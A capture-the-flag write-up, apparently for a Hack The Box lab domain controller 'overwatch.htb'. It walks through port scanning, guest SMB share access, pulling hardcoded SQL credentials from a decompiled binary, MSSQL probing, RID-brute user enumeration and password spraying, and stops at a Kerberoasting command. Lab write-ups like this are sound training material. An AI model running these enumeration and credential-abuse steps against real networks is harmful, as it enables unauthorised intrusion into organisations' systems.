Enum:

mairon $ rustscan -a 10.129.232.128 --ulimit 5000 -- -Pn -n -v --open -A -sCV | tee rustscan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/home/mairon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.232.128:53
Open 10.129.232.128:88
Open 10.129.232.128:139
Open 10.129.232.128:135
Open 10.129.232.128:389
Open 10.129.232.128:445
Open 10.129.232.128:464
Open 10.129.232.128:593
Open 10.129.232.128:636
Open 10.129.232.128:3269
Open 10.129.232.128:3268
Open 10.129.232.128:5985
Open 10.129.232.128:6520
Open 10.129.232.128:9389
Open 10.129.232.128:49270
Open 10.129.232.128:49269
Open 10.129.232.128:49664
Open 10.129.232.128:49669
Open 10.129.232.128:51185
Open 10.129.232.128:59555
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 10.129.232.128
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-30 14:09 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:09
Completed NSE at 14:09, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:09
Completed NSE at 14:09, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:09
Completed NSE at 14:09, 0.00s elapsed
Initiating Connect Scan at 14:09
Scanning 10.129.232.128 [20 ports]
Discovered open port 135/tcp on 10.129.232.128
Discovered open port 445/tcp on 10.129.232.128
Discovered open port 139/tcp on 10.129.232.128
Discovered open port 49269/tcp on 10.129.232.128
Discovered open port 53/tcp on 10.129.232.128
Discovered open port 593/tcp on 10.129.232.128
Discovered open port 88/tcp on 10.129.232.128
Discovered open port 49669/tcp on 10.129.232.128
Discovered open port 6520/tcp on 10.129.232.128
Discovered open port 59555/tcp on 10.129.232.128
Discovered open port 464/tcp on 10.129.232.128
Discovered open port 51185/tcp on 10.129.232.128
Discovered open port 3268/tcp on 10.129.232.128
Discovered open port 9389/tcp on 10.129.232.128
Discovered open port 636/tcp on 10.129.232.128
Discovered open port 49270/tcp on 10.129.232.128
Discovered open port 3269/tcp on 10.129.232.128
Discovered open port 49664/tcp on 10.129.232.128
Discovered open port 389/tcp on 10.129.232.128
Discovered open port 5985/tcp on 10.129.232.128
Completed Connect Scan at 14:09, 0.02s elapsed (20 total ports)
Initiating Service scan at 14:09
Scanning 20 services on 10.129.232.128
Completed Service scan at 14:10, 53.79s elapsed (20 services on 1 host)
NSE: Script scanning 10.129.232.128.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:10
NSE Timing: About 99.96% done; ETC: 14:10 (0:00:00 remaining)
Completed NSE at 14:11, 40.11s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:11
Completed NSE at 14:11, 0.61s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:11
Completed NSE at 14:11, 0.00s elapsed
Nmap scan report for 10.129.232.128
Host is up, received user-set (0.012s latency).
Scanned at 2026-01-30 14:09:32 CET for 95s

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-30 13:09:39Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6520/tcp  open  ms-sql-s      syn-ack Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
|   10.129.232.128:6520:
|     Target_Name: OVERWATCH
|     NetBIOS_Domain_Name: OVERWATCH
|     NetBIOS_Computer_Name: S200401
|     DNS_Domain_Name: overwatch.htb
|     DNS_Computer_Name: S200401.overwatch.htb
|     DNS_Tree_Name: overwatch.htb
|_    Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-30T13:07:29
| Not valid after:  2056-01-30T13:07:29
| MD5:     9826 167f cbfe db36 5da5 fd8e 9f1a c1f2
| SHA-1:   4872 b58e 57de 7612 b68f 6b1d 4115 5f8c 34b1 1ffb
| SHA-256: 0e6b 5f94 f6fe 4eb1 1941 b8ae 695e 0236 36d1 14f6 606f fff2 9feb dbe6 bda1 5793
| -----BEGIN CERTIFICATE-----
| MIIEADCCAmigAwIBAgIQYbYvmsvdZbhAzduf6y+mJjANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwMTMwMTMwNzI5WhgPMjA1NjAxMzAxMzA3MjlaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAKeGw0S2
| vd0ffVmPJqilh3YzYf7jsZ3gSzaE2V3X3+UL57L4oqHmU1Kc2J4zl5iroS0bufuu
| pSf49BUJw4ih8rlVyjQpUh16kPDlVMekf+p32e1BdkjhkmvkHBWbfGna7qcLKg/p
| qQjQw5se6rm64v0g/HdD5keTtXsn87W5y0jmHg8IuEncgR4WVKfpEX9gg5//zohx
| Io4xE9d3O0X0zSGDkkWQq/BsBsrPfHy4x85k7hKPKyyvd56fQEGkGz9ogZgyMgqP
| hqbxZ6uXHeViyKhlq8XbrITYmveUTijFi8ub8tockNkf9hHib3PbtjGhN97990XH
| hUuO8+DyOCqQvvmPkFVvVaOFpMVh8jOpfLUzCxbXmHNYzYvroPlRyU2SG5XPwZMC
| EcISGbZDtdQk5DFxPOeBHLh2K8DfXCjUtAvQFkh3mqGUQr0ZwYVdhzY7FB3Cr0d9
| +kkub0VMpAi+01//BYSqsfwQRsdg90Gq+XKiNt1BV5oh/NdSGTcNMtl4gQIDAQAB
| MA0GCSqGSIb3DQEBCwUAA4IBgQCTJ6CQJUurIPrP3eOl96L7DgI/kkI23sZDCAim
| f5JWuQWcR3uncpDA+97Z+yaQ4FYkb2lyFsUM8Jhh78eijUsh1UJhs9uuCpQr3fQm
| ucbSkepGBuOJGtkrZlRO/ar6Pc2hUsJ0N+MJK79noMKxVzHm+x+0J+k5spq6SJW/
| QqT/uzHsSduOSt2m9s6DYlU3vaNXchLbIZVCqzaTdl7f/sbsjJLeTpkxml4n8Ct7
| vQjGCrPOV3JIkhv22zyfXN+5dAlDc/eYKpIyxnKpdBNGZI3GTroWxWt72u61fgcw
| kRUiPmzZjzmZXMw1c1h3njtU1fp/iq1+otPIYB0wrEsOhNJ3qU4JuYQ2mzmqq5Vi
| loLWBsNkb/PlFQvJWCrGNUI37sdtZGIk5aAAyiEikM7Ey/igMQYEKCQxNKAZwsnZ
| TjWoR+NeJqCN1AzaVYGRLA+Xs+8/D2vowFwDqQ0/tty7fRs+aEWjuCaYY83niitV
| y3Y8KkkewAL4hKc4HgAEV9K5EX8=
|_-----END CERTIFICATE-----
| ms-sql-info:
|   10.129.232.128:6520:
|     Version:
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 6520
|_ssl-date: 2026-01-30T13:11:07+00:00; 0s from scanner time.
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49269/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49270/tcp open  msrpc         syn-ack Microsoft Windows RPC
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
51185/tcp open  tcpwrapped    syn-ack
59555/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-01-30T13:10:31
|_  start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 55945/tcp): CLEAN (Timeout)
|   Check 2 (port 57027/tcp): CLEAN (Timeout)
|   Check 3 (port 30386/udp): CLEAN (Timeout)
|   Check 4 (port 44208/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:11
Completed NSE at 14:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:11
Completed NSE at 14:11, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:11
Completed NSE at 14:11, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.68 seconds

Adding domain name to /etc/hosts:

mairon $ echo 10.129.232.128 overwatch.htb | sudo tee -a /etc/hosts

NetExec reports there are shares we can access without a credential:

mairon $ nxc smb overwatch.htb -u 'a' -p '' --shares
SMB         10.129.232.128  445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.128  445    S200401          [+] overwatch.htb\a: (Guest)
SMB         10.129.232.128  445    S200401          [*] Enumerated shares
SMB         10.129.232.128  445    S200401          Share           Permissions     Remark
SMB         10.129.232.128  445    S200401          -----           -----------     ------
SMB         10.129.232.128  445    S200401          ADMIN$                          Remote Admin
SMB         10.129.232.128  445    S200401          C$                              Default share
SMB         10.129.232.128  445    S200401          IPC$            READ            Remote IPC
SMB         10.129.232.128  445    S200401          NETLOGON                        Logon server share
SMB         10.129.232.128  445    S200401          software$       READ
SMB         10.129.232.128  445    S200401          SYSVOL                          Logon server share

Let’s get all files in the software$ share with a guest session:

mairon $ smbclient.py guest@overwatch.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use software$
# cd Monitoring
# mget *
[*] Downloading EntityFramework.dll
[*] Downloading EntityFramework.SqlServer.dll
[*] Downloading EntityFramework.SqlServer.xml
[*] Downloading EntityFramework.xml
[*] Downloading Microsoft.Management.Infrastructure.dll
[*] Downloading overwatch.exe
[*] Downloading overwatch.exe.config
[*] Downloading overwatch.pdb
[*] Downloading System.Data.SQLite.dll
[*] Downloading System.Data.SQLite.EF6.dll
[*] Downloading System.Data.SQLite.Linq.dll
[*] Downloading System.Data.SQLite.xml
[*] Downloading System.Management.Automation.dll
[*] Downloading System.Management.Automation.xml

The overwatch.exe.config file reveals a back-end (port 8000) we can’t yet access:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <system.serviceModel>
    <services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>
        </host>
        <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      </service>
    </services>
    <behaviors>
      <serviceBehaviors>
        <behavior>
          <serviceMetadata httpGetEnabled="True" />
          <serviceDebug includeExceptionDetailInFaults="True" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>
  <entityFramework>
    <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
      <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    </providers>
  </entityFramework>
  <system.data>
    <DbProviderFactories>
      <remove invariant="System.Data.SQLite.EF6" />
      <add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
    <remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
  </system.data>
</configuration>

Here I tried getting more useful stuff via strings and rg (ripgrep), but sadly to no avail. I figured I would need to decompile the overwatch.exe file, but I found this very daunting and I didn’t know how. After wasting an hour or so I gave up and decided to learn how to decompile a exe file. I eventually found avaloniailspy which would help me with this. First, I needed to install it, along with dotnet-runtime-6.0:

mairon $ yay -S --needed blackarch/avaloniailspy extra/dotnet-runtime-6.0

I then loaded the overwatch.exe file into avaloniailspy, and after some searching I found this:

avaloniailspy

We now got some credentials: sqlsvc:TI0LKcfHzZw1Vv

I later revisited this binary because I was stuck after obtaining the User Flag. That’s when I found this interesting part:

avaloniailspy 2

That feels like SQLi, but then for PowerShell. We’ll revisit this later on.

Let’s login to the MSSQL port we found:

mairon $ mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@overwatch.htb -port 6520 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> 

From here I found we cannot impersonate anyone else, nor can we use xp_cmdshell. There’s is however an overwatch db, on which we are dbo. There an Eventlog table there, but it seems to be empty:

SQL (OVERWATCH\sqlsvc  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor
----------   --------   ---------------   ----------   -------   -------
SQL (OVERWATCH\sqlsvc  guest@master)> xp_cmdshell
ERROR(S200401\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (OVERWATCH\sqlsvc  guest@master)> enable_xp_cmdshell
ERROR(S200401\SQLEXPRESS): Line 105: User does not have permission to perform this action.
ERROR(S200401\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(S200401\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(S200401\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (OVERWATCH\sqlsvc  guest@master)> enum_db
name        is_trustworthy_on
---------   -----------------
master                      0
tempdb                      0
model                       0
msdb                        1
overwatch                   0
SQL (OVERWATCH\sqlsvc  guest@master)> use overwatch;
ENVCHANGE(DATABASE): Old Value: master, New Value: overwatch
INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'overwatch'.
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> select name from overwatch.sys.tables;
name
--------
Eventlog
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> select * from Eventlog;
Id   Timestamp   EventType   Details
--   ---------   ---------   -------
SQL (OVERWATCH\sqlsvc  dbo@overwatch)>

There’s also a linked server, but we can’t seem to connect to it:

SQL (OVERWATCH\sqlsvc  guest@master)> enum_links
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL
Linked Server   Local Login   Is Self Mapping   Remote Login
-------------   -----------   ---------------   ------------
SQL (OVERWATCH\sqlsvc  guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].
SQL (OVERWATCH\sqlsvc  guest@master)>

I decided not to pursue that further for now, and decided if we can instead password spray this credential on more users we can enumerate using NetExec’s new --rid-brute option for mssql:

mairon $ nxc mssql overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv --port 6520 --rid-brute
MSSQL       10.129.9.233    6520   S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (EncryptionReq:False)
MSSQL       10.129.9.233    6520   S200401          [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv
MSSQL       10.129.9.233    6520   S200401          498: OVERWATCH\Enterprise Read-only Domain Controllers
MSSQL       10.129.9.233    6520   S200401          500: OVERWATCH\Administrator
MSSQL       10.129.9.233    6520   S200401          501: OVERWATCH\Guest
MSSQL       10.129.9.233    6520   S200401          502: OVERWATCH\krbtgt
MSSQL       10.129.9.233    6520   S200401          512: OVERWATCH\Domain Admins
MSSQL       10.129.9.233    6520   S200401          513: OVERWATCH\Domain Users
MSSQL       10.129.9.233    6520   S200401          514: OVERWATCH\Domain Guests
MSSQL       10.129.9.233    6520   S200401          515: OVERWATCH\Domain Computers
MSSQL       10.129.9.233    6520   S200401          516: OVERWATCH\Domain Controllers
MSSQL       10.129.9.233    6520   S200401          517: OVERWATCH\Cert Publishers
MSSQL       10.129.9.233    6520   S200401          518: OVERWATCH\Schema Admins
MSSQL       10.129.9.233    6520   S200401          519: OVERWATCH\Enterprise Admins
MSSQL       10.129.9.233    6520   S200401          520: OVERWATCH\Group Policy Creator Owners
MSSQL       10.129.9.233    6520   S200401          521: OVERWATCH\Read-only Domain Controllers
MSSQL       10.129.9.233    6520   S200401          522: OVERWATCH\Cloneable Domain Controllers
MSSQL       10.129.9.233    6520   S200401          525: OVERWATCH\Protected Users
MSSQL       10.129.9.233    6520   S200401          526: OVERWATCH\Key Admins
MSSQL       10.129.9.233    6520   S200401          527: OVERWATCH\Enterprise Key Admins
MSSQL       10.129.9.233    6520   S200401          553: OVERWATCH\RAS and IAS Servers
MSSQL       10.129.9.233    6520   S200401          571: OVERWATCH\Allowed RODC Password Replication Group
MSSQL       10.129.9.233    6520   S200401          572: OVERWATCH\Denied RODC Password Replication Group
MSSQL       10.129.9.233    6520   S200401          1000: OVERWATCH\S200401$
MSSQL       10.129.9.233    6520   S200401          1101: OVERWATCH\DnsAdmins
MSSQL       10.129.9.233    6520   S200401          1102: OVERWATCH\DnsUpdateProxy
MSSQL       10.129.9.233    6520   S200401          1103: OVERWATCH\SQLServer2005SQLBrowserUser$S200401
MSSQL       10.129.9.233    6520   S200401          1104: OVERWATCH\sqlsvc
MSSQL       10.129.9.233    6520   S200401          1105: OVERWATCH\sqlmgmt
MSSQL       10.129.9.233    6520   S200401          1106: OVERWATCH\SQL03$
MSSQL       10.129.9.233    6520   S200401          1107: OVERWATCH\NB001$
MSSQL       10.129.9.233    6520   S200401          1108: OVERWATCH\NB002$
MSSQL       10.129.9.233    6520   S200401          1109: OVERWATCH\FILE01$
MSSQL       10.129.9.233    6520   S200401          1110: OVERWATCH\S200400$
MSSQL       10.129.9.233    6520   S200401          1111: OVERWATCH\employees
MSSQL       10.129.9.233    6520   S200401          1112: OVERWATCH\Charlie.Moss
MSSQL       10.129.9.233    6520   S200401          1113: OVERWATCH\Tracy.Burns
MSSQL       10.129.9.233    6520   S200401          1114: OVERWATCH\Kathryn.Bryan
MSSQL       10.129.9.233    6520   S200401          1115: OVERWATCH\Rachael.Thomas
MSSQL       10.129.9.233    6520   S200401          1116: OVERWATCH\Aimee.Smith
MSSQL       10.129.9.233    6520   S200401          1117: OVERWATCH\Duncan.Freeman
MSSQL       10.129.9.233    6520   S200401          1118: OVERWATCH\John.Begum
MSSQL       10.129.9.233    6520   S200401          1119: OVERWATCH\Bernard.Hilton
MSSQL       10.129.9.233    6520   S200401          1120: OVERWATCH\Kim.Hargreaves
MSSQL       10.129.9.233    6520   S200401          1121: OVERWATCH\Douglas.Burrows
MSSQL       10.129.9.233    6520   S200401          1122: OVERWATCH\Carole.Murray
MSSQL       10.129.9.233    6520   S200401          1123: OVERWATCH\Olivia.Quinn
MSSQL       10.129.9.233    6520   S200401          1124: OVERWATCH\Trevor.Baker
MSSQL       10.129.9.233    6520   S200401          1125: OVERWATCH\Kenneth.Dennis
MSSQL       10.129.9.233    6520   S200401          1126: OVERWATCH\Jeremy.Marshall
MSSQL       10.129.9.233    6520   S200401          1127: OVERWATCH\Jodie.Jones
MSSQL       10.129.9.233    6520   S200401          1128: OVERWATCH\Thomas.Lee
MSSQL       10.129.9.233    6520   S200401          1129: OVERWATCH\Terence.Matthews
MSSQL       10.129.9.233    6520   S200401          1130: OVERWATCH\Colin.Roberts
MSSQL       10.129.9.233    6520   S200401          1131: OVERWATCH\Aaron.Robinson
MSSQL       10.129.9.233    6520   S200401          1132: OVERWATCH\Amanda.Jenkins
MSSQL       10.129.9.233    6520   S200401          1133: OVERWATCH\Debra.Arnold
MSSQL       10.129.9.233    6520   S200401          1134: OVERWATCH\Michelle.Willis
MSSQL       10.129.9.233    6520   S200401          1135: OVERWATCH\Kayleigh.Jones
MSSQL       10.129.9.233    6520   S200401          1136: OVERWATCH\Adam.Russell
MSSQL       10.129.9.233    6520   S200401          1137: OVERWATCH\Tracey.Kelly
MSSQL       10.129.9.233    6520   S200401          1138: OVERWATCH\Bethan.Dale
MSSQL       10.129.9.233    6520   S200401          1139: OVERWATCH\Mandy.Wood
MSSQL       10.129.9.233    6520   S200401          1140: OVERWATCH\Jenna.Phillips
MSSQL       10.129.9.233    6520   S200401          1141: OVERWATCH\Carole.Yates
MSSQL       10.129.9.233    6520   S200401          1142: OVERWATCH\Graham.Perry
MSSQL       10.129.9.233    6520   S200401          1143: OVERWATCH\Catherine.Griffiths
MSSQL       10.129.9.233    6520   S200401          1144: OVERWATCH\Shaun.Jackson
MSSQL       10.129.9.233    6520   S200401          1145: OVERWATCH\Bethan.Rogers
MSSQL       10.129.9.233    6520   S200401          1146: OVERWATCH\Ellie.Singh
MSSQL       10.129.9.233    6520   S200401          1147: OVERWATCH\Marie.Allan
MSSQL       10.129.9.233    6520   S200401          1148: OVERWATCH\Patrick.Holmes
MSSQL       10.129.9.233    6520   S200401          1149: OVERWATCH\Victor.Hopkins
MSSQL       10.129.9.233    6520   S200401          1150: OVERWATCH\Geraldine.Harper
MSSQL       10.129.9.233    6520   S200401          1151: OVERWATCH\George.Todd
MSSQL       10.129.9.233    6520   S200401          1152: OVERWATCH\Karl.Smith
MSSQL       10.129.9.233    6520   S200401          1153: OVERWATCH\Jacqueline.Norton
MSSQL       10.129.9.233    6520   S200401          1154: OVERWATCH\Frederick.Murray
MSSQL       10.129.9.233    6520   S200401          1155: OVERWATCH\Joe.Pearce
MSSQL       10.129.9.233    6520   S200401          1156: OVERWATCH\Paul.Collins
MSSQL       10.129.9.233    6520   S200401          1157: OVERWATCH\Damien.Edwards
MSSQL       10.129.9.233    6520   S200401          1158: OVERWATCH\Eileen.Phillips
MSSQL       10.129.9.233    6520   S200401          1159: OVERWATCH\Carl.Johnson
MSSQL       10.129.9.233    6520   S200401          1160: OVERWATCH\Kevin.Newton
MSSQL       10.129.9.233    6520   S200401          1161: OVERWATCH\Natalie.Higgins
MSSQL       10.129.9.233    6520   S200401          1162: OVERWATCH\Francis.Weston
MSSQL       10.129.9.233    6520   S200401          1163: OVERWATCH\Benjamin.Davison
MSSQL       10.129.9.233    6520   S200401          1164: OVERWATCH\Martin.Kemp
MSSQL       10.129.9.233    6520   S200401          1165: OVERWATCH\Angela.Jones
MSSQL       10.129.9.233    6520   S200401          1166: OVERWATCH\Gareth.Ahmed
MSSQL       10.129.9.233    6520   S200401          1167: OVERWATCH\Deborah.Morgan
MSSQL       10.129.9.233    6520   S200401          1168: OVERWATCH\Grace.Taylor
MSSQL       10.129.9.233    6520   S200401          1169: OVERWATCH\Roger.Hughes
MSSQL       10.129.9.233    6520   S200401          1170: OVERWATCH\Albert.Barrett
MSSQL       10.129.9.233    6520   S200401          1171: OVERWATCH\Grace.Curtis
MSSQL       10.129.9.233    6520   S200401          1172: OVERWATCH\Marilyn.Griffiths
MSSQL       10.129.9.233    6520   S200401          1173: OVERWATCH\Tracey.Barker
MSSQL       10.129.9.233    6520   S200401          1174: OVERWATCH\Suzanne.Hughes
MSSQL       10.129.9.233    6520   S200401          1175: OVERWATCH\Timothy.Jackson
MSSQL       10.129.9.233    6520   S200401          1176: OVERWATCH\Beverley.Thompson
MSSQL       10.129.9.233    6520   S200401          1177: OVERWATCH\Clare.Bartlett
MSSQL       10.129.9.233    6520   S200401          1178: OVERWATCH\Irene.Johnson
MSSQL       10.129.9.233    6520   S200401          1179: OVERWATCH\Bernard.Wood
MSSQL       10.129.9.233    6520   S200401          1180: OVERWATCH\Frank.McCarthy
MSSQL       10.129.9.233    6520   S200401          1181: OVERWATCH\Elaine.Page
MSSQL       10.129.9.233    6520   S200401          1182: OVERWATCH\Elaine.Walker
MSSQL       10.129.9.233    6520   S200401          1183: OVERWATCH\Mohammad.Hill
MSSQL       10.129.9.233    6520   S200401          1184: OVERWATCH\Glenn.Field
MSSQL       10.129.9.233    6520   S200401          1185: OVERWATCH\Deborah.Martin
MSSQL       10.129.9.233    6520   S200401          1186: OVERWATCH\Gail.Sullivan
MSSQL       10.129.9.233    6520   S200401          1187: OVERWATCH\Maureen.Kirby
MSSQL       10.129.9.233    6520   S200401          1188: OVERWATCH\Georgina.Chambers
MSSQL       10.129.9.233    6520   S200401          1189: OVERWATCH\Philip.Harris
MSSQL       10.129.9.233    6520   S200401          1190: OVERWATCH\Samantha.Scott
MSSQL       10.129.9.233    6520   S200401          1191: OVERWATCH\Ann.Hill
MSSQL       10.129.9.233    6520   S200401          1192: OVERWATCH\Chloe.Cox
MSSQL       10.129.9.233    6520   S200401          1193: OVERWATCH\Jamie.Gough
MSSQL       10.129.9.233    6520   S200401          1194: OVERWATCH\Frederick.Hussain
MSSQL       10.129.9.233    6520   S200401          1195: OVERWATCH\Dean.Hobbs
MSSQL       10.129.9.233    6520   S200401          1196: OVERWATCH\Danielle.Moore
MSSQL       10.129.9.233    6520   S200401          1197: OVERWATCH\Timothy.Smith
MSSQL       10.129.9.233    6520   S200401          1198: OVERWATCH\Declan.Stone
MSSQL       10.129.9.233    6520   S200401          1199: OVERWATCH\Jacob.Wilson
MSSQL       10.129.9.233    6520   S200401          1200: OVERWATCH\Gary.Elliott
MSSQL       10.129.9.233    6520   S200401          1201: OVERWATCH\Peter.Slater
MSSQL       10.129.9.233    6520   S200401          1202: OVERWATCH\Louise.Walton
MSSQL       10.129.9.233    6520   S200401          1203: OVERWATCH\Brett.Haynes
MSSQL       10.129.9.233    6520   S200401          1204: OVERWATCH\Elliot.Green
MSSQL       10.129.9.233    6520   S200401          1205: OVERWATCH\Wendy.Williams
MSSQL       10.129.9.233    6520   S200401          1206: OVERWATCH\Graham.Parker
MSSQL       10.129.9.233    6520   S200401          1207: OVERWATCH\Abdul.Stevens
MSSQL       10.129.9.233    6520   S200401          1208: OVERWATCH\Brett.Bailey
MSSQL       10.129.9.233    6520   S200401          1209: OVERWATCH\Benjamin.Harrison
MSSQL       10.129.9.233    6520   S200401          1210: OVERWATCH\Emily.Cooper
MSSQL       10.129.9.233    6520   S200401          1211: OVERWATCH\Roger.Spencer

Plenty of users, but after spraying via SMB, WINRM, WMI, and MSSQL, sadly no other users use this passwd.

I also didn’t find any Kerberoastable or ASREProastable accounts:

mairon $ GetUserSPNs.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv
